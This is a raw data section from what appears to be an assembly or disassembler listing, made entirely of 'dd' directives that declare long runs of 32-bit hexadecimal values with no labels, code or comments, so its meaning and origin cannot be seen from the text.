		dd 7FB4F2D7h, 8EF34BE9h, 5D0E2497h, 0DED9FC25h,	0BA0A23Ah
		dd 57573FA3h, 0C6905AC4h, 11AD8D12h, 3319721h, 81B3DE6Ah
		dd 79E85CB3h, 1292E3FCh, 0E774F498h, 86A4BC5h, 9B9EAE01h
		dd 32870FD4h, 0FE204B8Ah, 0F894C375h, 9B09268Eh, 17E300CEh
		dd 57BF5544h, 90202813h, 4CFA73C8h, 31017A4Ch, 0FE8ADB2Fh
		dd 33BD7B5Fh, 0E8FA8B16h, 0C8F24A85h, 1079F900h, 31CE22BBh
		dd 19FD9524h, 8AAF5B96h, 3F79A085h, 0A86C09DDh,	4C8E4EB1h
		dd 6BBE5B31h, 0C05049B6h, 0A791DFABh, 0BCB2580h, 0A7A2E4C6h
		dd 3250169h, 0F7B7F86Ah, 0CF801650h, 5117B0C2h,	7F8A314Bh
		dd 8B975022h, 345276A9h, 8DD1EA47h, 0ADE5CC7h, 543D03A9h
		dd 0DE1047BFh, 0E40108FDh, 199D2B71h, 90312E12h, 8D100122h
		dd 862EC9h, 565FF850h, 31699D01h, 0B14B7395h, 41D515Eh
		dd 7F83C1AAh, 82C93D8Dh, 0CAD774B9h, 0F7B35786h, 72FB69C8h
		dd 0A1BF8F00h, 5E49D03Dh, 0E69013A5h, 0B542AE41h, 917118Dh
		dd 73B88E58h, 0D1C82B2Dh, 8D2989F3h, 8B452255h,	9390D7D1h
		dd 9A09A37Fh, 98894718h, 60E95F24h, 0BD3323A6h,	3DCB0D21h
		dd 4225C85h, 0B8DC8A49h, 81DC608Bh, 0B93EEFDFh,	88F880EDh
		dd 0C01150FEh, 548BE706h, 20B2B287h, 58341001h,	0AD24261h
		dd 91A05CFFh, 4660272Eh, 7EF96901h, 6113E0F7h, 1B556BE9h
		dd 53140A04h, 0A080DCACh, 0FA384B03h, 6E26CA03h, 999F518Eh
		dd 996B1D70h, 4FB23ABEh, 30C52A00h, 0AEAFA723h,	0CE29CC12h
		dd 1D22C9E2h, 73F8AEC9h, 5CBF01C5h, 146E391Ah, 9669249h
		dd 8C85BE0h, 2902D1F2h,	0DF2B0D95h, 9BD885F3h, 0A4A00484h
		dd 0C0B412DBh, 0B0488573h, 6ABF1F4Eh, 0BD604A3Bh, 363B73h
		dd 66EB71F6h, 0B978FEBFh, 4E0FB238h, 77BC77F9h,	0DB960B97h
		dd 52D07061h, 0D2E1B301h, 65DF9FE8h, 40F52820h,	29DFC2Fh
		dd 89C02B7Dh, 9C835CC3h, 0A94E38BAh, 0C02BE989h, 99B5891Ah
		dd 8B9B064Bh, 0D032AA4Fh, 70C9F3D8h, 0DC02215Eh, 0D1BCCA0h
		dd 55EBD88h, 0EF29DE87h, 32F10F7h, 4D5A7ED4h, 4B9D60E8h
		dd 15977242h, 4E87A881h, 72D6EFEh, 0A4C8BD97h, 0CA888470h
		dd 54075C2Ch, 0B8CA693Ah, 5416E453h, 0C4EE34BFh, 762DAB0Dh
		dd 0E140A42Eh, 44E39495h, 0D30481A3h, 734244C1h, 0ABA2E0ACh
		dd 5D09482Ah, 0C2AB5909h, 0CF750462h, 2DA34313h, 300CABE1h
		dd 3241E51Eh, 0F9055F23h, 0BE1255h, 0AD9C7597h,	0B409BFA9h
		dd 5C7CA6E8h, 4B2FDE2Eh, 53CF30F5h, 27A90ABFh, 13DC4F3Fh
		dd 0BE6717B5h, 51E6FA64h, 3260A8A2h, 2212BC6Eh,	85898B2Bh
		dd 0A51A122Bh, 6A01D5F0h, 2200727Ah, 0E4376F0Eh, 335F15EBh
		dd 0B27B76A1h, 8093A822h, 0CE951E0Dh, 15E85018h, 0FF0100BFh
		dd 3141FE5Bh, 8901A874h, 79E427Fh, 39F8AF3Eh, 9D20955h
		dd 0D0C09DB5h, 0B325505Bh, 0EDCF89DEh, 36C7CFD6h, 0E5AFD021h
		dd 0B2DA7BFh, 0B8CE63C7h, 2C64CD0h, 7EC5682Bh, 5EF46530h
		dd 4A67462Dh, 51BB9FAh,	652F7D3Ah, 0FF4AF5A2h, 0B3E37995h
		dd 0BBC4845Bh, 4111ADB6h, 21D172Ch, 93A100A7h, 1DA0C8EFh
		dd 6298ED25h, 0D53F58Dh, 25F6ECD0h, 3879CC1Fh, 0F86E582Fh
		dd 39D700B8h, 7147783Dh, 7E959FEAh, 66574B29h, 0BEF85B4Eh
		dd 5182B332h, 0F67AA704h, 0FF7A0995h, 7749C76Fh, 2B564931h
		dd 813008A0h, 399E6B5Bh, 0F8E9E480h, 9705FD85h,	65AB2B3Fh
		dd 93FF1685h, 0C812F9F4h, 7EF71739h, 7DEC054Eh,	0C160EA0Ah
		dd 0FE924635h, 0B5330CFBh, 61A52301h, 1E937C97h, 5EB14381h
		dd 77DF78EDh, 0B04E81E3h, 5E32A2Dh, 0F2C82B00h,	661F105Dh
		dd 40FFF04Bh, 793B4C94h, 114F1CB2h, 0FA979FADh,	595FA349h
		dd 80108F0h, 0DC43DC52h, 0EB265Bh, 2E2A6884h, 909535EFh
		dd 0E6EBED6h, 2B6CC696h, 0C1BF6F60h, 0A29225B1h, 0F02DD50Bh
		dd 58B75735h, 82C2ED00h, 0BF56F36Ah, 8B42BD7Ch,	254171F9h
		dd 124CB4D7h, 0B308A1F0h, 97F05AD9h, 0AED85A8Bh, 0B3FB1F65h
		dd 30E828F5h, 17B30803h, 886D3354h, 6788F7h, 23E7A812h
		dd 5FB55B0Ch, 0E2F55A5Eh, 35755AA5h, 18CC2F9Eh,	0FFAA302Dh
		dd 375FEFABh, 287880ACh, 6611D6DBh, 0ACD4BB16h,	17315C8Ch
		dd 0AF141D85h, 17951FDFh, 3A76CFC0h, 0E49DE552h, 671C0007h
		dd 22D89B6h, 0C81DB28Dh, 0D1174CF3h, 14C16B04h,	8E88E3BBh
		dd 0F7221C40h, 0B076943Dh, 0AF30ED2Ah, 7A3BE14Ah, 24AB4EDEh
		dd 510DAF54h, 8DD95BE1h, 61004B6Fh, 7676CD57h, 12D91556h
		dd 10046310h, 55B643C5h, 9C2863E0h, 1501D67Bh, 534BFCBEh
		dd 6AC6BD33h, 3145FFEh,	80F98522h, 972AA1E7h, 0E6471D1Ch
		dd 0E3896AE2h, 0B57FC592h, 80199117h, 3B06E5E4h, 9D0A4B5Bh
		dd 0A8572933h, 0A9062FF3h, 0CBC07D7Eh, 5B77A162h, 977FBE72h
		dd 72DAC0Eh, 7B82F83Fh,	53E0FD64h, 3A00C6D1h, 0A2DFE6B6h
		dd 0B88D5B19h, 967571A6h, 25C4F95Ch, 78817365h,	7275B3F5h
		dd 0B59BC50Bh, 0C248421h, 9D167056h, 94950B11h,	0D5954B42h
		dd 8AB6ABE2h, 83B7BDA4h, 90169B10h, 92AC62Ch, 0F8301A78h
		dd 49764D7Dh, 2602D34Ch, 0D1015957h, 6CC17DFAh,	71213068h
		dd 7D9D074Bh, 0E85B343Ah, 4AC54AFEh, 9F276E7Bh,	0D0D8741Ah
		dd 0BD139095h, 70978614h, 0AA065B89h, 0B5C18267h, 0F86E0781h
		dd 2C0DA1AFh, 1D174B0Ah, 0DA196C89h, 1E8D203Eh,	0D700450Dh
		dd 9649183Ch, 0BC1CAEBFh, 0B7436FD7h, 0BAF45029h, 0A280E99Bh
		dd 2B7D8509h, 6023D695h, 0BBA32E1Dh, 76603704h,	0F3BB5FA5h
		dd 38F4D346h, 91604F5Bh, 34C9BD4Dh, 14976145h, 0B9794B17h
		dd 3C5ECEAh, 37B0F705h,	968A59BFh, 3E0061E6h, 0C0CA44C6h
		dd 0FE6426h, 0B217D114h, 0D092D63Ah, 7D50542Fh,	96DFCD98h
		dd 6B791C93h, 2B84206Ah, 7100D67Bh, 5372D7CBh, 75743Ch
		dd 0EFF6FC5Bh, 1DAAC45Ch, 0A8F8FF5Eh, 0C71501AAh, 63380AB2h
		dd 146C6760h, 0DD8B0FDCh, 0D5875089h, 5F178831h, 0B64AC4BCh
		dd 99B5091Bh, 364D5D07h, 6053C9h, 0F38389B4h, 0D1129C19h
		dd 61BEBDCFh, 7A0E8BFDh, 999D5321h, 620107E2h, 55291A41h
		dd 159148B5h, 51908A82h, 4B25E67Dh, 386F8A5Fh, 437A5B53h
		dd 0DFF65225h, 5ED7769h
		dd 0A83EC49h, 2DB8B21Dh, 892496C9h, 0B0172B2Ah,	9DEB38BBh
		dd 2F1E7922h, 0B75FF385h, 2F668175h, 4237BC6h, 0B416EABh
		dd 60FC6EC4h, 5FF00E96h, 690DD781h, 414A385h, 1E0FF1CAh
		dd 9198F97Fh, 0EF67A213h, 3FD91F17h, 0A292177Dh, 2B580C1Fh
		dd 0C0F01AC2h, 388166F2h, 82B85A4Dh, 0C0AC124Ch, 0D0033C50h
		dd 653A7681h, 0A4841945h, 3FE12D78h, 0D9E90C06h, 4C8BE44Ch
		dd 0A910F7C8h, 40030C30h, 0DC064F3Ch, 3C1350C2h, 12C4FA8Bh
		dd 9B1E16B1h, 1C095BF8h, 2DD1030Ch, 0DAE33344h,	2790208h
		dd 988F6402h, 4FC483E9h, 51568804h, 10B98B50h, 0B0A98114h
		dd 59B56014h, 94C3C033h, 32291304h, 5F2924ABh, 689237D1h
		dd 2E50E1BFh, 6BB69AAh,	4B708FEh, 0D3491A54h, 5D40E5D4h
		dd 79641h, 63FBA866h, 2DD4F7D9h, 328A9F00h, 810EAEC1h
		dd 0FD6904F6h, 0F25F6118h, 6E0C008Ch, 4BF0CAD4h, 74469F97h
		dd 54C7810Dh, 852C2668h, 0BB32BB8Eh, 0F044F0h, 0B4255CDEh
		dd 8B43BA54h, 81634A03h, 92A7F2h, 7BBB660Ch, 0F37FF17h
		dd 15EE33FBh, 42B59DEh,	365AE1ABh, 66A6FAh, 0EAF8F181h
		dd 0EEF907FFh, 9EBF00C1h, 1ABE455Fh, 117B1279h,	0C6D0E91Dh
		dd 77603D89h, 0BE12C2E4h, 0FF0140EFh, 5161EC8Ah, 93E9302Bh
		dd 0E4034906h, 25F7E0D5h, 6C9898FDh, 5BDF0495h,	80078F1Eh
		dd 0EF83C033h, 0DD80014Bh, 0D44FCE6Fh, 0D47BA702h, 8A24744Fh
		dd 66F88358h, 509FEF5Fh, 37ECCCC4h, 0D2BF5B0Fh,	146C3E3h
		dd 7C3CD028h, 4CC20EDCh, 8B802F0h, 1F0233E9h, 0A2C93776h
		dd 0F308C023h, 0DC9B0722h, 0F06EB86Dh, 0F2EEE642h, 0E9FFE400h
		dd 14D4C78h, 0A241C0C1h, 5B94BCF1h, 0ED0E1BEEh,	8C1C0843h
		dd 78121A9h, 0BE68BCF9h, 0FED4E062h, 204CA153h,	31A0C3Ah
		dd 6C229C7h, 0FA9FFFE2h, 2C391148h, 0AE6C2C52h,	0CBC6CD03h
		dd 3308303Bh, 2C4A0621h, 0AA6C2100h, 0F689C191h, 0FB3418E8h
		dd 7EE6582Eh, 0FA0692E8h, 1FDF3684h, 0B6CD0AC8h, 38CC316h
		dd 3B2F561Dh, 0F1D81862h, 0B0E35Eh, 0E48C5910h,	0F06BD6FDh
		dd 1A9B0907h, 28146AF8h, 1ED1A580h, 15276A4h, 7123AAB1h
		dd 0F4292110h, 0E000CDBFh, 968AAB5Bh, 3BE907E5h, 0E2004B87h
		dd 886B49ADh, 94765A91h, 8046163Fh, 105426CDh, 0BEF874h
		dd 3177951Ch, 0A3A9AA9Bh, 1FFA6B00h, 0BB5F289h,	0AB37002Dh
		dd 93E95435h, 0A107AE79h, 2394E37Ah, 612A86D0h,	0FBCC000Bh
		dd 55446996h, 0AF3AD76Dh, 477800B2h, 0F045C69Fh, 0A4B90635h
		dd 8B13C43h, 7C218760h,	718B45BEh, 0A8890C88h, 0BF187AD7h
		dd 2A841A00h, 7DCF7133h, 6A5900F8h, 0A56CEE10h,	6EF04CB4h
		dd 0F65E4400h, 17B57C0Bh, 0BF2D0784h, 4C4660C0h, 5A1E6760h
		dd 5B81DE30h, 73B88451h, 21320898h, 301F4206h, 0E5053B52h
		dd 5C01CF89h, 8271F851h, 0C8F3AFCh, 0F565B0ADh,	780C9798h
		dd 0A970D4F4h, 86DB004Dh, 63ECF658h, 0C466EEB3h, 218308h
		dd 6186D3B2h, 0E0CECB50h, 5092F130h, 66940434h,	9147B890h
		dd 163C0DDh, 0C0DF3045h, 88341843h, 30184D05h, 76B0CBC2h
		dd 55E0109Ah, 0F7A8648Ch, 0D486D061h, 448CC4F6h, 0C800AD87h
		dd 0CBBB8A86h, 7EE1C9h,	2BE9F07h, 72D56D90h, 0C4BF3004h
		dd 2C01F3B6h, 8E8F3414h, 80FFCEC0h, 995AC175h, 0EB2D0056h
		dd 1AF18CBDh, 97000689h, 0A26A7A4Bh, 2204B3h, 0FC5698E5h
		dd 8C2ACE5Ah, 8319D107h, 0B3209F94h, 6E4591h, 0D94BB0A4h
		dd 0A5615ED0h, 0E62DC500h, 57880B44h, 0CD78000Dh, 87F09A75h
		dd 0A0007E24h, 9C479D0Ah, 83C40Ch, 3F0BE258h, 0BB68666Fh
		dd 5962AC00h, 253D4576h, 3919002Eh, 41FB2812h, 350427FAh
		dd 0DC182A66h, 0D591B980h, 0FE6901F0h, 0EB9C083Ch, 0C8D6D014h
		dd 0A0B48100h, 0E4EA6660h, 0DE210F24h, 28E01ABAh, 1B2671F2h
		dd 807730CEh, 59AFD170h, 0AB50015h, 66427349h, 0BB019C98h
		dd 2BDA99B8h, 70E01AB7h, 739C020h, 7A36B93Eh, 0AE66B100h
		dd 836816A3h, 0B421C015h, 29B0B513h, 6B45F500h,	97F948D7h
		dd 11C7189h, 969A4650h,	0FDA481F1h, 42F8DF18h, 86F81A71h
		dd 0CD210600h, 2DD3F554h, 0DB680287h, 0BE65A5F7h, 75747860h
		dd 8045F43Ch, 115585A0h, 71CB1E3Fh, 0CE083A17h,	0B5BE8960h
		dd 910DFB79h, 604B220Ah, 3E8A4ECh, 9004525Ch, 1900C9A2h
		dd 0F337949Ah, 0EE129BE7h, 7BA8A839h, 3B62EACFh, 1F6A213h
		dd 0B4EE7195h, 873DA179h, 2208B169h, 0D1D32391h, 0F2A7AFECh
		dd 0A90E63Bh, 1B9F4B51h, 8E15808Ch, 1E3EECE5h, 14C7A107h
		dd 0A3509BD8h, 0E9D79Dh, 0A649F37h, 0A5A061C2h,	5246B200h
		dd 7283C9B5h, 0E6DC0235h, 0CE973DF5h, 0A6C7E3E0h, 5F24D2C0h
		dd 3302C8D2h, 4E09E7ABh, 0ADFC2100h, 0F4F34D24h, 82E107E3h
		dd 0F0A9BCFBh, 0A62B5D85h, 0B4F8550Fh, 9E13215Eh, 6887BB2Ch
		dd 0FF630BAFh, 3DE16160h, 11EA0656h, 2905C600h,	733F5EB3h
		dd 8B0F0643h, 2049C989h, 0E7E0A605h, 203C5B96h,	7B2C4628h
		dd 4D7A3110h, 3A799706h, 0F246E9DBh, 4224DD02h,	403180D2h
		dd 24A51B10h, 9DD2DA05h, 9800ACF9h, 0B4B3B646h,	0FE9000BFh
		dd 0A1976E61h, 0AA037E3Bh, 0AC478869h, 0BD46883Ch, 4CAF01F5h
		dd 897DDD9Bh, 0C735C475h, 0CFD0970Ch, 6E54C8C6h, 4BAF0856h
		dd 34167660h, 0A1008562h, 0D3138207h, 0C745FF3h, 51145784h
		dd 0B518DF99h, 0EE909421h, 0E5C61E13h, 15E8603h, 511D8107h
		dd 78792Fh, 46AA3AA7h, 0CA82B4h, 6B8329D9h, 0E27FA9B9h
		dd 709689C3h, 0E91890FCh, 0C46300F4h, 447EB8BCh, 9705A750h
		dd 3F8D8AC1h, 0AD1A846h, 633C1688h, 18651831h, 0EF0CA729h
		dd 0A867E0E2h, 21C61FE7h, 0C4BA439Bh, 33A040F0h, 2B632957h
		dd 0E53DF2C9h, 24DFC860h, 0B0D22338h, 11004111h, 8B5424A7h
		dd 0F8C4EAF9h, 3487C5A9h, 0BA410E10h, 0AC621884h, 5DB1883Ah
		dd 0FF1BE80h, 702CE8Eh,	0A130E186h, 0D77FD00h, 84BC8AA6h
		dd 6CCE0564h, 0EA73FB5h, 17843DA0h, 90389754h, 0D1905D67h
		dd 0C9CDE58h, 86B4608h,	621C0B2h, 7A2A9056h, 41A3AD1Fh
		dd 0BC0A9834h, 7C02DC3Fh, 0ACC4DB97h, 0F7A9A09Ch, 268C0004h
		dd 7B7215CEh, 86206460h, 607F5FC6h, 0A81C310Bh,	61015CEBh
		dd 89508B4Ah, 16D18AA2h, 0EFF72180h, 98336BEBh,	915D8805h
		dd 5BC32E48h, 728800B1h, 0CA67A5C6h, 22401DBh, 0D300D8EFh
		dd 760C2AB5h, 2DA70635h, 30B055CEh, 0D9590133h,	0E49EE008h
		dd 0DA5200EEh, 14ADAAC5h, 457FB669h, 0A72B3972h, 47019401h
		dd 22DEDF90h, 0A088AE18h, 4F90015Fh, 52AAAF64h,	101C22D8h
		dd 2D043ACCh, 8004C5D6h, 40CE8968h, 0D00E263Ch,	0C640FCA0h
		dd 0DD521209h, 253C0053h, 62410AEFh, 57B65C02h,	4A09772Ah
		dd 0E46C4530h, 5B73604Fh, 36340259h, 0D89632Ch,	0C38D2468h
		dd 0ECA45DEAh, 0DC0D7F78h, 41162958h, 0F1A32458h, 48C2A08h
		dd 0DED69044h, 9238675Ah, 8E340005h, 0D7AA10Ch,	0E2B8AF00h
		dd 9ABC45FFh, 65552402h, 0A10E0968h, 11A82B0Ah,	95D53A56h
		dd 7A435BDh, 51AC8225h,	880FD4h, 0DD8A1B2h, 90084318h
		dd 0C442DED3h, 5BA440B1h, 240EBE90h, 6218D664h,	4AC7DCh
		dd 0B3919497h, 11DB5A80h, 4490CC66h, 938EFE01h,	86B519C7h
		dd 8B509030h, 985944BFh, 0EB50AA84h, 84933AC7h,	0F50E1011h
		dd 9EC0EBF1h, 730607D0h, 4E544D01h, 5EBE3209h, 2F263A8Fh
		dd 1E229C54h, 71E67F37h
		dd 7512A0FFh, 6880C0h, 26A1B47Eh, 881435EFh, 69C7DB7Ch
		dd 4EF632C3h, 37EF1951h, 105BB8F4h, 99CEA7DCh, 0A84400D8h
		dd 6B06874Fh, 922DAB3Ch, 24185B7Dh, 0E772F9FCh,	48078442h
		dd 8135EC2Ch, 9D671002h, 0F88E4CB5h, 19284726h,	101220D4h
		dd 40796DD5h, 90CF4188h, 698981E3h, 1F07CFB5h, 15E148E0h
		dd 750CE0Eh, 0FD88EC7Ch, 9A1E0F74h, 5BA0CFBAh, 7E8A4076h
		dd 0C5FAE005h, 0E020014Eh, 13D708C8h, 3356481h,	0D6471248h
		dd 735824B8h, 6CE95002h, 46C644DBh, 71109180h, 14D518B0h
		dd 88BAB387h, 99D0CC00h, 1ACFF57h, 0DD2982E9h, 6409AFB2h
		dd 88D87FA8h, 8CECD914h, 23018EB0h, 0E85B2DD1h,	62FCE757h
		dd 5C9E7789h, 0D6071C0Ch, 30A8365Eh, 0F15A0344h, 29638400h
		dd 0A9BDC182h, 852F0035h, 60D95DCDh, 8B1C9FD6h,	83BDAB1Fh
		dd 0FEAE1190h, 6D400637h, 58F7D7D9h, 8BAC731Bh,	0EE95D840h
		dd 64CB48FCh, 0ED005C23h, 0F26105EBh, 0E554868Ah, 9400CE9Ch
		dd 51CF53EBh, 1360FE84h, 47C938Dh, 674E94h, 99454A5Fh
		dd 0ACFCA184h, 9AE99089h, 43CC5090h, 0AB4EB515h, 6734058Ch
		dd 800BFB9h, 0ED4B0F86h, 0E813062Dh, 81B2562h, 65218460h
		dd 2AA4B2Ah, 2F6FFE43h,	0F8C098C5h, 0E7805D66h,	0AFC305B8h
		dd 8E5739AEh, 0C0B28804h, 39140B84h, 670F5E05h,	8043FE7Fh
		dd 9075B0C9h, 1AD9E8h, 411BB6DFh, 0C6B90E8Bh, 5758CEEAh
		dd 0FE3D1058h, 0E6DCD101h, 8EC56D6Ch, 0A62B8F61h, 0F220B351h
		dd 0C4AE5C12h, 68C111h,	0F4AC423Ah, 2044A713h, 0DE0AAA63h
		dd 0E034F229h, 609DD30Fh, 0C83573B8h, 0A5F803DBh, 0C27EE1E4h
		dd 983C2007h, 200A56AFh, 8CC4C978h, 0B094BE2Ah,	97E6470Fh
		dd 419BC0EDh, 902EB4BFh, 2554614h, 6102EBEEh, 10E4319Ah
		dd 3EB95C9h, 0F48EB16Fh, 29E0DC52h, 80C6130Ah, 2090AE6Bh
		dd 0D50FC16Ah, 4C01FB7Ch, 9007100Eh, 0ED8E025Ch, 5FCE610Fh
		dd 4F800C6Bh, 6A00E3D1h, 0F103DA91h, 95E8F60h, 95296DD2h
		dd 11EC380Ah, 9038800Eh, 0B13ADED2h, 50A1C024h,	5303AD90h
		dd 85453262h, 20480482h, 0C3E6962Ah, 0C6D29880h, 45D10C51h
		dd 2574E218h, 86A84A00h, 79976A50h, 2A1F055Fh, 0C8BCEA6Eh
		dd 0E700A6B8h, 9F24706h, 69CE94CBh, 6580194Dh, 0E1515C4Bh
		dd 883BE300h, 950C9091h, 6C3A00B2h, 19DBB353h, 50C3F9AEh
		dd 0B1C8D605h, 0A846C0A6h, 149646B8h, 159C24D1h, 0C35C03A0h
		dd 0B824B927h, 141580Bh, 0D342934Ah, 0ED9DC846h, 0C190448Ch
		dd 503CEE10h, 9E313FD8h, 50C03248h, 48CACE8h, 2DEE4B04h
		dd 2690621Bh, 101DE66h,	0DD30D505h, 0BC569229h,	19C80DB8h
		dd 4010EC4Eh, 0C9BABB14h, 8E00A798h, 0E82D382Fh, 0C041A42h
		dd 5028F8A8h, 22008530h, 0CC0118D6h, 653A5Ch, 9842B26Dh
		dd 0C532DEA3h, 2DB5DA00h, 3F88BEEFh, 0E5D80096h, 0FA289B23h
		dd 2C01E44Dh, 6D91BC71h, 4E600899h, 0FC3E005Bh,	0EC2DD742h
		dd 9C6001A8h, 0DC5F3230h, 38731C3Bh, 28669DFEh,	67D6000Ch
		dd 5A74DDEDh, 440E654Dh, 27E4CE23h, 8BD09B16h, 19B7C4h
		dd 46A0922Ch, 0BDB9B1ECh, 0EF41C012h, 0CA854D03h, 0B8880042h
		dd 9F246992h, 0B20054E8h, 2C70C94Fh, 47746A1h, 5B38AFACh
		dd 0EB2A8134h, 0D68D30D0h, 8DE96F00h, 6C32074Ch, 0A02D5A90h
		dd 9C063427h, 0A4A87A44h, 8FCB0661h, 11D32481h,	0DADE4000h
		dd 48F8C811h, 5F730704h, 0F0BFB3DFh, 5D77D67Ah,	9B586EE0h
		dd 32017253h, 0CA30F793h, 8CDC953Ah, 0DC460121h, 34483BF8h
		dd 0E827CC03h, 2D35F400h, 882C4E98h, 785F7449h,	3F393A91h
		dd 4BD9B201h, 0E459FFB0h, 0FA003C2Fh, 0CA0B2ADDh, 0F9FE8A93h
		dd 1FB910D0h, 0F90B3A7h, 0A20391AFh, 17C0BE22h,	0BC63BBB2h
		dd 0C3AE2C28h, 0C1610336h, 6785818Bh, 0DA1D4180h, 0FB2D1600h
		dd 26B83C59h, 0ACE81866h, 9AAA2296h, 903E5E1Bh,	2A20F428h
		dd 30074515h, 0C52E95CEh, 36E0903h, 1F9E9F78h, 0D143121Dh
		dd 47AF181Ch, 0C02ED819h, 0B50AF1C0h, 98C8E890h, 0EA0B4087h
		dd 5AE0D53Fh, 9DDDA91Ah, 185C1521h, 5B5EE828h, 2DFC0F00h
		dd 0EB82585Dh, 49A90643h, 0D8D7B19Fh, 33512C00h, 9B9105DFh
		dd 0BEBB00D9h, 1C06680Ch, 1418F220h, 47B13EFCh,	86900095h
		dd 2068D19h, 3C01F908h,	8113560Ch, 508C998Fh, 910897FCh
		dd 5F63A307h, 15300A57h, 680516h, 4430BEC2h, 273359D4h
		dd 9CD11106h, 79D2D9h, 0FCEBA49Eh, 84615E65h, 0B2A02A50h
		dd 2A932C44h, 0E2984528h, 773F249h, 0A4D54B70h,	9607D002h
		dd 9303A668h, 152595D6h, 0A79D610h, 21FBCA1Eh, 9840824h
		dd 0B783F0Fh, 0D45401FCh, 0C180A0C9h, 0BBED23C8h, 9A3F2186h
		dd 1E8595E9h, 68A900ACh, 44E6EE89h, 97FE0620h, 38E37BD6h
		dd 390A9000h, 0E14B80A9h, 432000A5h, 0AD193325h, 9EE8CF7Bh
		dd 0A7E4DD1Eh, 39E1FF82h, 11C4353h, 0B042E318h,	50A9BF4Dh
		dd 3F30ACD0h, 0A2C22900h, 1E498C8h, 9FF4EA49h, 3C47DDE0h
		dd 41566C07h, 0D424CA1Fh, 9D951880h, 63890CABh,	56D1F2CEh
		dd 598AF807h, 5421876Eh, 0D6EC5AFFh, 0F95C001Ah, 12680B19h
		dd 7750B510h, 0D5076398h, 0DC02AA37h, 22FB4F10h, 309041h
		dd 0AEFDFD0h, 16736944h, 1B00D1F0h, 0B55747CEh,	0D4DE18h
		dd 542ACF1Eh, 2E74C0EBh, 0F9ED5B00h, 0A128E98Ah, 0D02C00C7h
		dd 49E69F26h, 0FF002FBDh, 198848DFh, 7962D911h,	0C98E1E4Fh
		dd 0AEE6C035h, 0FEDC3E53h, 16F513Fh, 0ACA4FBA0h, 0F970E090h
		dd 0D96600F9h, 17F5DDB3h, 30123BAFh, 7A0036ECh,	0ABC66D56h
		dd 0FCBFEE6h, 0F865A135h, 197B8CA0h, 1C00954Bh,	928EBF06h
		dd 0EFBCF5h, 3F092057h,	33289D01h, 0FB3E547Ah, 0EC5D9F5Ch
		dd 0D0008213h, 490DA52Dh, 6B310135h, 9AB5ED4Dh,	5F43C8C4h
		dd 0EB726F0Eh, 0E2D9018Eh, 2605B01h, 2D880119h,	14364A37h
		dd 0BC398030h, 9D2F13Dh, 4C123CBFh, 0B596800h, 25D9195Fh
		dd 0FD053E00h, 331B41BAh, 52AD0051h, 9A17D00Ch,	3E07F8B6h
		dd 29AB08EDh, 0C65855F0h, 0DB8000C8h, 0DD0F3C6Bh, 1500C96Dh
		dd 0D5B2741Dh, 0D74410h, 0E75D96BBh, 612CFA22h,	0FFB50510h
		dd 198CCA01h, 0DC161C21h, 45310C67h, 0C9CE309Ah, 786E9C4h
		dd 4BC77C33h, 6694049h,	0A90E3097h, 406209C6h, 4DFCF3E4h
		dd 91B400D5h, 0D31F038Fh, 891895D8h, 0ED69C106h, 316A0CC7h
		dd 98100728h, 720745F8h, 6849D89Eh, 0EDE58600h,	46B40038h
		dd 90A6A92Eh, 4A00587Bh, 674E89B8h, 0E7D33E3h, 0E1CC932Fh
		dd 0B22365A1h, 54E6F8D7h, 6BE769C0h, 1D85E5h, 8EA6C131h
		dd 0D57B7210h, 4F7E471Eh, 0EFE05D99h, 28E63C56h, 0F6C80C7Ch
		dd 457400D7h, 95D39D97h, 87000EA6h, 0CD63C3FEh,	1FC8F6ABh
		dd 0C14A5A32h, 292573F9h, 5C402483h, 6D844400h,	97EB772Ch
		dd 0F8A8F27Ch, 0C35EFADDh, 907DA5B8h, 2C0748F0h, 0A8E05800h
		dd 0ED400E33h, 807907D0h, 500D28D3h, 0EF6A504Dh, 0F70352F6h
		dd 979D4006h, 98BE837Eh, 0A0E6E576h, 1FDB8ED8h,	150B4C33h
		dd 3500F4B5h, 64F80775h, 820186B0h, 0D355AB1Bh,	0FC48036Fh
		dd 60EC75DAh, 538B831h,	0AC004DFBh, 0F421CDB1h,	5491D9h
		dd 60F90DEDh, 93C26564h, 738D2E38h, 364B9D0Eh, 822E026h
		dd 3E496Ch, 86CD745Eh, 0C6E07C50h, 93201800h, 6AF2134Dh
		dd 70D700BEh, 0F06C0D10h, 0DA00FCABh, 24180779h, 78192Fh
		dd 70DEBB67h, 3F776542h
		dd 8AD1A200h, 9630E8B2h, 0EC0800BDh, 0F2A75358h, 1018A818h
		dd 54F13DC3h, 2EA4004Eh, 0C07FAF6Fh, 0F500D495h, 0EC061437h
		dd 3B9D45B0h, 0FB7DA6h,	5EFC2531h, 83945BBEh, 11BA7807h
		dd 0F817D77Fh, 0E96B0870h, 0A10B3CB8h, 0AAEBD502h, 8FC03ABDh
		dd 4D00A541h, 0AE5EB98Ch, 1FC78DE1h, 80163DE7h,	5838837h
		dd 0F6A06FFEh, 0E2004043h, 254F56DFh, 26AA14BFh, 0C9AEA8h
		dd 5487C771h, 7F24ABC2h, 9F40985Eh, 4F55FAh, 84B56327h
		dd 96EFD08Dh, 0E3133B03h, 0B853A6A8h, 0A8A1838h, 0BED4D5E4h
		dd 759D0080h, 35A60439h, 60A4C1Fh, 5A336840h, 0FAB1687h
		dd 0B2FF075Fh, 0A7AF7060h, 0C4002620h, 0DC28B118h, 1E8243A2h
		dd 0C14C5Bh, 9B458CE9h,	6B395E01h, 0E40580F0h, 3DB43EC8h
		dd 0E2B30022h, 33B8ECA5h, 0FD002AB6h, 7FFE56A9h, 1E86074Ah
		dd 0C5FB758Fh, 87F9EAh,	0AFC07784h, 0B50037C5h,	0FB54E0A7h
		dd 0F89F41h, 0C4DCBEFEh, 2C9449A4h, 26B5AF3Bh, 92B840FDh
		dd 0A80470CAh, 0FC90AC24h, 0E05D30C2h, 107F60EDh, 47F69C3Ah
		dd 0C974A109h, 0EC08F82h, 58910587h, 0BFCEFD03h, 0B4C0ACE2h
		dd 7219D228h, 6663007Dh, 73350F81h, 900923Dh, 80DE7EB1h
		dd 2AA940h, 0D249E542h,	478D8E9Dh, 9A00DC98h, 0C0ABE383h
		dd 4D3E655h, 2704512Eh,	80A88745h, 1A9D67D5h, 75C05E60h
		dd 851A7E7h, 7B7ED036h,	0E64A3480h, 5039303Ch, 546D410h
		dd 0F9AB7CC0h, 791D8031h, 209894B7h, 0AEB61900h, 8DE8F071h
		dd 78890E43h, 38004A2Bh, 7B98D2C0h, 0C85F6F00h,	695E8F22h
		dd 0EBC70075h, 70FD39F7h, 66E4D4C4h, 6A00B2E6h,	54F181BCh
		dd 2B7175h, 6436E645h, 57507961h, 0DCB01317h, 0FCF97709h
